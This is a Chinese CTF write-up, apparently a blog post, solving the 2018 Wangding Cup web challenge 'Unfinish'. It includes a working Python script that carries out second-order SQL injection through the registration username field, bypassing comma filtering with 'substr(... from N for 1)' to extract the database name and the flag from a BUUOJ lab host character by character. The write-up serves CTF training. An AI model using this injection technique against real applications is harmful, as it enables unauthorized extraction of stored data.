网鼎杯-2018-Web-Unfinish

先尝试万能注入:

如果万能注入缺少符号,如果加@符又进不去,那我们尝试扫描文件,然后发现有一个register.php的文件,应该是注册页面,我们去打开

 

知道存储的文件,并利用状态码进行过滤

我们注册的用户名就是aaa,可以看出它回显出来了,我们尝试从这个地方注入

 

测试发现过滤了逗号、information等,那么使用盲注应该不太行了

所以我们考虑用户名这里可能存在 二次注入 。

经过尝试,构造username=select database(),登录后显示用户名还是为select database(),说明后台代码可能把username用单引号引起来了,导致其无法显示。

因为题目中过滤掉了逗号,因此用from for来代替

ASCII码如下:

最后我们验证出数据库名为web

以下是我编写的python脚本,可以跑出数据库名称以及最终的flag

import requests

import time

from bs4 import BeautifulSoup       #html解析器

def getDatabase():

    database = ''

    for i in range(10):

        data_database = {

            'username':"0'+ascii(substr((select database()) from "+str(i+1)+" for 1))+'0",

            'password':'admin',

            "email":"admin11@admin.com"+str(i)

        }

        #注册

        requests.post("http://5aec7f20-ca5b-498d-b028-fa5950c9c5e7.node5.buuoj.cn:81/register.php",data_database)

        login_data={

            'password':'admin',

            "email":"admin11@admin.com"+str(i)

        }

        response=requests.post("http://5aec7f20-ca5b-498d-b028-fa5950c9c5e7.node5.buuoj.cn:81/login.php",login_data)

        html=response.text                  #返回的页面

        soup=BeautifulSoup(html,'html.parser')

        getUsername=soup.find_all('span')[0]#获取用户名

        username=getUsername.text

        if int(username)==0:

            break

        database+=chr(int(username))

    return database

def getFlag():

    flag = ''

    for i in range(40):

        data_flag = {

            'username':"0'+ascii(substr((select * from flag) from "+str(i+1)+" for 1))+'0",

            'password':'admin',

            "email":"admin32@admin.com"+str(i)

        }

        #注册

        requests.post("http://5aec7f20-ca5b-498d-b028-fa5950c9c5e7.node5.buuoj.cn:81/register.php",data_flag)

        login_data={

            'password':'admin',

            "email":"admin32@admin.com"+str(i)

        }

        response=requests.post("http://5aec7f20-ca5b-498d-b028-fa5950c9c5e7.node5.buuoj.cn:81/login.php",login_data)

        html=response.text                  #返回的页面

        soup=BeautifulSoup(html,'html.parser')

        getUsername=soup.find_all('span')[0]#获取用户名

        username=getUsername.text

        if int(username)==0:

            break

        flag+=chr(int(username))

    return flag

print(getDatabase())

print(getFlag())

最终得到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值